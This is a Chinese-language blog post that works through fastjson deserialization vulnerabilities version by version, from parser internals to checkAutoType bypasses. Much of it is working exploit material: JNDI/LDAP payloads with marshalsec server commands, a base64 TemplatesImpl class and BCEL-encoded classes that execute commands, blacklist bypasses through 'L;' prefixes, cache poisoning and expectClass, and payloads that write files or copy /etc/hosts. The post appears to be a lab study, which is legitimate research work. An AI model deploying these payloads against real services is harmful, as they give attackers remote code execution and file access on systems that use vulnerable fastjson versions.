fastjson反序列化
前置知识
fastjson是阿里巴巴开发的一个处理json数据的开源库,简简单单解析一个json字符串是自然不会造成命令执行的,问题在于很多库为了实用性会额外实现一些功能,造成了攻击点
fastjson简单使用
引入依赖,先用古老版本
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.10</version>
</dependency>
Person
public class Person {
public int age;
public String name;
// private Map map;
public String getName() {
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
@Override
public String toString(){
return "User{ name: "+name+", age: "+age+"}";
}
// public Map getMap(){
// System.out.println("getMap");
// return map;
// }
}
直接解析json
public static void main(String[] args) {
String json = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
JSONObject jsonObject = JSON.parseObject(json);
System.out.println(jsonObject.getString("param1"));//输出aaa
}
解析json为对象
public static void main(String[] args) {
String json = "{\"age\":18,\"name\":\"aaa\"}";
Person person = JSON.parseObject(json,Person.class);
System.out.println(person.getAge());
}//setAge setName getname getAge 18
在json中通过@type
字段指定解析的类
public static void main(String[] args) {
String json = "{\"@type\":\"org.example.Person\",\"age\":18,\"name\":\"aaa\"}";
JSONObject jsonObject = JSON.parseObject(json);
System.out.println(jsonObject);
}//setAge setName getname getAge {"name":"aaa","age":18}
parseObject流程
这个跟的很完整
https://www.cnblogs.com/nice0e3/p/14601670.html
在DefauJSONParser#parser()中,因为字符串首位是{
进入parseObject()
在DefauJSONParser#pareseObject()的循环里通过识别"
来提取json字符串中的键值对信息,首先提取出来的key是@type,之后提取出value即org.example.Person,接着加载这个类,现在clazz就是org.example.Person
经过了大量纯字符串操作,终于来到了反序列化的地方。在DefauJSONParser#pareseObject()最后,先获取了一个反序列化器,然后用这个反序列化器来反序列化Person
跟进getDeserializer,看见过程中有个黑名单,不过因为版本早,黑名单里只有java.lang.Thread
往后,如果clazz是常见的类就使用以后的反序列化器,否则创建一个JavaBeanDeserializer
之后这个build很重要,JavaBeanInfo#build()里两次遍历类的所有方法,第一次寻找所有的setter,第二次寻找某些的getter
setter
以第一个遍历为例稍微看一点找函数的逻辑
如果找到了setter就add进fieldlist,此时会给getOnly赋值
public
找public,如果找到了也会add进fieldlist,但Person类的name和age因为都有set所以在找set时已经被add进fieldlist了
getter
找get时类似,区别在于只有当返回特定类型且不在fieldList里(private且没有setter只有getter)时才会add进fieldlist
三个循环结束后return,然后build结束。关注下asmEnable这个开关,这个开关之前一直是开启的状态,除非getOnly为true否则目前不会关闭。想要关闭开关的话加入一个Person里getMap一样满足要求的getter就行
最终得到了反序列化器,在最开始的例子里可以发现parseObject()的过程中触发了getter和setter,找一下触发点
setter,这里时通过反射调用setAge对age进行复制而不是直接反射赋值
再找getter,在一切都结束后,又会把对象转化回json字符串,在toJSON中调用了getter
总结一下,虽然叫fastjson反序列化,但与之前的readObject触发点不同,fastjson里触发是在setter和getter中。所以在寻找利用点时要找public或者有setter的属性
parse只能触发setter,parseObject内先parse触发setter,然后toJson触发getter
不同版本下复现
1.2.24以前
jndi注入
起因是JavaRowSetImpl#connect中潜在jndi注入点,其中lookup的值能通过setter来赋值,最后connect可以通过另一个setter调用
import java.io.IOException;
public class Test {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
使用marshalsec起ldap服务器(yakit看着挺好用,但没用明白),python服务器在8848端口用于访问Test.class恶意类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8848/#Test 1099
python -m http.server 8848
DataSourceName即最后ldap服务器上的恶意类,autoCommit随便穿个bool,因为setAutoCommit要传入bool
public static void main(String[] args) throws IOException {
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://localhost:1099/Test\",\"autoCommit\":true}";
JSON.parseObject(json);
}
}
从字节码中加载类
TemplatesImpl#defineTransletClasses可以从字节码加载类,defineTransletClasses->getTransletInstance-.newTransforme->newTransformer->getOutputProperties,最终找到一个可利用的getter
期间getTransletInstance要求_name不为空,defineTransletClasses为了不报错_factory也不为空
此外由于_factory,_name,_bytecode都是private,所以parseObject时必须用Feature.SupportNonPublicField
参数让反序列化成功,所以用处不大吧
恶意类编译后base64编码,就是payload里的字符
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
public class JsonTest {
public static void main(String[] args) throws IOException {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
JSON.parseObject(json, Feature.SupportNonPublicField);
}
}
加载本地恶意类
jndi需要出网,这个不需要
需要tomcat依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
第一种需要parseObject,第二种直接可以parse
public class JsonTest {
public static void main(String[] args) throws IOException {
String json = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":" +
"\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
String json2 = "{\n" +
" {\n" +
" \"ki10\":{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +
" }\n" +
" }: \"Moc\"\n" +
"}";
JSON.parseObject(json);
JSON.parse(json2);
}
}
1.2.25-1.2.48
1.2.25开始在parse到@type时会对@type指定的类先进行一个checkAutoType,之后版本fastjson的各种修复都是在这个checkAutoType上不断更新
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {// 在白名单里就loadClass
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {// 在黑名单里直接报错
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);// 查看所需加载的类是否在缓存中,也就是是否以前加载过,如果加载过就从缓存里取出这个类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {// 没开autoType时
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {// 黑名单
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {// 白名单
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
// 不让加载classLoader和DataSorce这两个类
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
}
其中黑名单denylist
L;绕过
1.2.25-1.2.41
一个思路是用这段代码
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
注意到黑白名单的检测用startWith实现的,在loadClass里会对L开头;结尾的类名做些神奇的处理
payload
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// 打开setAutoType
String s = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
JSON.parseObject(s, Feature.SupportNonPublicField);
}
但TypeUtils.loadClass只有在setAutoType打开时才会执行,所以还要先ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
开启setAutoType,就很菜
1.2.42-1.2.43
新版本做了两个改变,一是对黑名单做了哈希处理,但已经有很多被人碰撞出来了
https://github.com/LeadroyaL/fastjson-blacklist
二是如果类以L开头;结尾就先截取一下,但这个操作就很rz,双写就绕过了
1.2.44
如果类名以L开头;结尾直接报错,然后这条路也没什么好办法了
从缓存mappings加载恶意类
1.2.25-1.2.47
注意这一段是没有任何检测的,如果能想办法先将恶意类写入缓存,checkAutoType直接从缓存里加载时不会检测
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);// 查看所需加载的类是否在缓存中,也就是是否以前加载过,如果加载过就从缓存里取出这个类
缓存mapping可以通过MiscCodec#deserialize控制
在之前获取反序列化器时,getDesrializer判断如果反序列化的类是Class就会用MiscCodec作为反序列化器
跟进MiscCodec#deserialize,发现要求parse时的变量名是val
如果是Class类就会loadClass,加载val指定的类进入缓存。这里插一下,为什么选择MiscCodec也就是为什么选择Class类?因为Class类是java原生类,即使在checkAutoType时也不会拒绝这个类(应该是在白名单里的),以Class为跳板将恶意类com.sun.rowset.JdbcRowSetImpl载入缓存mappings是合理的思路
下一次加载时就可以在getClassFromMapping从mappings得到恶意类不走黑白名单加载
paylaod
//先反序列化一个类,值为恶意类
//然后用之前的payload
public static void main(String[] args) {
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://localhost:1099/Test\",\"autoCommit\":true}}";
JSON.parseObject(s);
}
1.2.48-1.2.68
expectClass绕过
1.2.48-1.2.68
新版本的checkAutoType加了个expectClassFlag,checkeAutoType函数除了反序列化的类名typeName外还有一个参数expectClass,expectClassFlag作用是对expectClass进行一些过滤
还是看checkAutoType里loadClass的几个地方,其中一个expectClassFlag为ture时就可以进入,也没有什么黑白名单之类的处理
所以expectClass是干什么用的?大部分调用checkAutoType的时候expectClass都为null,checkAutoType会检查parse出来的那个类clazz与预计反序列化的类一不一样,或者expectClass是不是clazz的子类。
能利用的传入expectClass参数的地方一个是JavaBeanDeserializer#deserialize,一个是ThrowableDeserializer#deserialize
ThrowableDeserializer
expectClass是Throwable
测试时使用的是这个Exec类,继承了Exception且实现了命令执行。实际环境中这中可以利用的恶意子类是要在业务代码中自己去找,应用面不如老版本mappings那个
package org.example;
import java.io.IOException;
public class Exec extends Exception {
private String command;
public void setCommand(String command) {
this.command = command;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(this.command);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}
parseObject中不知为何没有在parse结束后调用一遍getter触发exec,所以需要通过设置ref让fastjson调用指定变量的getter
payload
{"x":
{"@type":"java.lang.Exception",
"@type":"me.mole.exception.CalcException",
"command":"open -a Calculator"},
"y":{"$ref":"$x.message"}
}
实际环境中如果用了selenium库可以获取目标主机信息
<dependency>
<groupId>org.seleniumhq.selenium</groupId>
<artifactId>selenium-api</artifactId>
<version>4.1.1</version>
</dependency>
https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
selenium 一般用来操控浏览器进行爬虫,在很多基于浏览器操作的爬虫项目里都会使用到 selenium,如果同时也使用了 fastjson ,就会存在敏感信息泄露的问题。
payload(直接跑是不会有回显的,具体看环境代码)
{"x":
{"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"},
"y":{"$ref":"$x.systemInformation"}
}
JavaBeanDeserializer
类似ThrowableDeserializer,但是expectClass是人为可控的。这个位置一般选择java.lang.AutoCloseable
- java.lang.AutoCloseable在TypeUtils#mappings缓存集合中;
- java.lang.AutoCloseable使用fastjson默认的反序列化器JavaBeanDeserializer;
- 通过查阅JDK文档可知,AutoCloseable(即其子类对象)持有文件句柄或者socket句柄,所以它是很多类型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便无法找到RCE gadget,也可以找到实现文件读取或写入的gadget,从而可以根据目标环境实际情况串出RCE。
一个简单的思路,通过实例化java.io.FileOutputStream新建文件
payload
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"file": "E://test.txt",
"append": "false"
}
关于append参数,fastjson的JavaBeanInfo#build会选择第一个参数最长的构造函数,所以没append就会报错
单纯基于jdk本身的类(像FileOutputStream这种)不同版本会有种种区别,上面paylaod适用于jdk11不适用jdk8,原因是jdk8的FileOutputStream没有保留Local Variable Table,详见这篇2.2.3(其实我也不太懂)。但许多库还是保留了Local Variable Table,所以使用时与外部库结合实现文件操作
结合org.aspectj
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
payload,把etc/hosts复制到/Users/fa1c0n/tmp/hosts.txt
{
"@type":"java.lang.AutoCloseable",
"@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath":"/Users/fa1c0n/tmp/hosts.txt",
"tempPath":"/etc/hosts"
}
1.2.68之后
1.2.68之后增加了safeMode,safemode一旦开启就不再支持任何形式的@type,不论黑白名单是什么,但这个东西默认是关闭的,偶尔能捡漏
参考
https://www.cnblogs.com/nice0e3/p/14601670.html#0x02-fastjson反序列化漏洞复现
标签:java,String,expectClass,clazz,org,序列化,type,public From: https://www.cnblogs.com/carama1/p/17491421.html